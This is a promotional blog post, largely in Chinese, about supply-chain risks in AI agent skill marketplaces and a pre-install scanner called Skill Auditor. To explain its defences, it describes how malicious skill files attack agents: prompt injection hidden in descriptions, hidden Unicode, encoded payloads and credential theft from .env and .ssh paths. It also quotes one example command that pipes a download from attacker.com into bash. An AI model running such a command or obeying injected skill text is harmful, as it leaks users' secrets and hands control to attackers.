The MCP Supply Chain Problem Nobody Is Talking About
MCP marketplaces make installing AI agent tools effortless. But every skill runs with your agent's full permissions. One malicious SKILL.md can exfiltrate your credentials, inject prompts, or open a reverse shell. Here is how Skill Auditor solves this.
AI Agent 的 npm 時刻
記得 npm 早期嗎?開發者自由裝套件,因為生態小、信任隱含。然後 event-stream。然後 ua-parser-js。然後 colors 和 faker。JavaScript 生態用慘痛方式學到,沒有安全掃描的開放套件 registry 是等著發生的供應鏈攻擊。
AI Agent skill 沿著完全一樣的軌跡 — 但更快,風險更高。
MCP(Model Context Protocol)marketplace、OpenClaw skill registry、社群分享 SKILL.md 檔讓擴充 Agent 新能力變得容易。需要 GitHub 整合?裝 skill。需要資料庫存取?裝 skill。需要爬網?裝 skill。
這些 skill 每個都用 Agent 的完整權限跑。你的 Agent 能讀檔、存取環境變數、呼叫 API、執行 code。裝 skill 時,你把同樣存取權授予 skill。
惡意 skill 長什麼樣
精心打造的惡意 skill 不長惡意樣。看起來像有用工具,有乾淨文件和專業 README。攻擊面很廣:
Prompt Injection。Skill 描述含覆寫 Agent 系統 prompt 的隱藏指令。Agent 開始遵循攻擊者指令而不是使用者意圖。不需要 code 執行 — 只要 markdown 檔中精心措辭的文字。
Tool Poisoning。Skill 把 shell 命令嵌進工具定義。Agent 呼叫工具時,連同合法操作執行 curl attacker.com/exfil | bash。使用者看到預期輸出。攻擊者收到環境變數。
隱藏 Unicode。Zero-width 字元和 right-to-left override 把惡意指令藏起來不被人類審查看到。Skill 檔在文字編輯器看起來乾淨,但含 LLM 忠實處理的不可見指令。
編碼 Payload。Base64 編碼字串解碼後是 eval() 或 subprocess.run() 呼叫。Skill 描述說「helper utility」。編碼 payload 說「反向 shell」。
Secret 外洩。Skill 引用 .env、.ssh/、.aws/credentials 或 ~/.config/ 路徑。讀憑證並偽裝成合法 API 呼叫送到外部 endpoint。
為什麼既有安全工具漏掉這個
傳統安全工具不是為這個威脅模型設計的。防毒掃可執行檔,不是 markdown 檔。WAF 檢查 HTTP 請求,不是 LLM prompt。SIEM 規則關聯 log 事件,不是 skill 檔內容。
攻擊在任何 code 跑之前發生。在內容層發生 — 在塑造 Agent 行為的文字中。等傳統安全工具能偵測到惡意活動時,Agent 已經被入侵。
Skill Auditor 做法:8 層,安裝前
Panguard Skill Auditor 在 skill 安裝前跑。它檢查 skill 檔並回傳含確切行號 finding 的量化風險分(0-100)。
8 個檢查層平行跑:
- ●Manifest 驗證 — 驗證 SKILL.md 結構、必填欄位、metadata 一致性
- ●Prompt Injection 偵測 — 13 個 regex pattern 覆蓋身份覆寫、指令劫持、jailbreak 嘗試、隱形
<IMPORTANT>區塊攻擊、靜默資料外洩 - ●隱藏 Unicode 偵測 — 掃 zero-width 字元、RTL override、把惡意內容藏起來不被人類審查看到的同形字攻擊
- ●編碼 Payload 偵測 — 自動解碼 Base64 並標記解碼內容中的 eval/exec/subprocess pattern
- ●Tool Poisoning 偵測 — 識別反向 shell、權限提升命令、RCE payload、環境變數外洩。Context 感知:code block 範例中的 pattern 自動降級
- ●SAST 和 Secret 掃描 — 對寫死 API key、密碼、token 的靜態分析
- ●權限範圍分析 — 比對前剝掉 code block 和 negation 區段的 context 感知分析。區分提到憑證的 skill 和偷憑證的 skill
- ●依賴分析 — 稽核宣告依賴的已知漏洞、仿冒套件名、供應鏈風險
量化評分,不是二元判定
多數安全工具給你二元答案:安全或不安全。Skill Auditor 給你一個數字和背後的證據。
| 分數 | 等級 | 動作 |
|---|---|---|
| 0-14 | LOW | 安全可裝 |
| 15-39 | MEDIUM | 先看 findings |
| 40-69 | HIGH | 需要手動審查 |
| 70-100 | CRITICAL | 不要裝 |
寬泛 regex 命中的單一中嚴重度 finding 的 35 分,和含四個 critical finding 包括 Base64 編碼反向 shell 的 92 分,差別很大。數字告訴你 skill 需要多少注意。Findings 告訴你確切看哪裡。
三行 code 擋惡意 skill
import { auditSkill } from '@panguard-ai/panguard-skill-auditor';
const report = await auditSkill(skillPath);
if (report.riskLevel === 'CRITICAL' || report.riskLevel === 'HIGH') {
throw new Error(`Blocked: ${skillPath} scored ${report.riskScore}/100`);
}這是安裝前閘門。三行擋每個 HIGH 和 CRITICAL skill 進你的 Agent。整合進 CI/CD pipeline、Agent 框架的 skill loader、或 MCP server 的工具註冊流。
更大的圖景:發布者不是稽核者
開放生態需要獨立安全。發布 skill 的實體不該是唯一評估其安全的實體。npm 學到了並建了 npm audit。PyPI 學到了並整合了 safety 檢查。AI Agent 生態沒有等價物 — 還沒。
Panguard Skill Auditor 是那個獨立第三方。它不發布 skill。不主辦 marketplace。它評估安全。這種關注點分離對可信開放生態根本。
Skill Auditor 找到威脅時,可選擇性回報 pattern 到 Threat Cloud — 匿名、剝除所有 PII、傳輸加密。如果三位獨立使用者確認同樣 pattern,且 Claude Sonnet 審查批准,pattern 成為新 ATR 偵測規則分發給全球每位使用者。
一位開發者抓到惡意 skill。每位開發者都被保護。
開始
npm install @panguard-ai/panguard-skill-auditor不用帳號。不用 API key。不用設定。macOS、Linux、Windows 都能跑。30 秒內掃你的第一個 skill。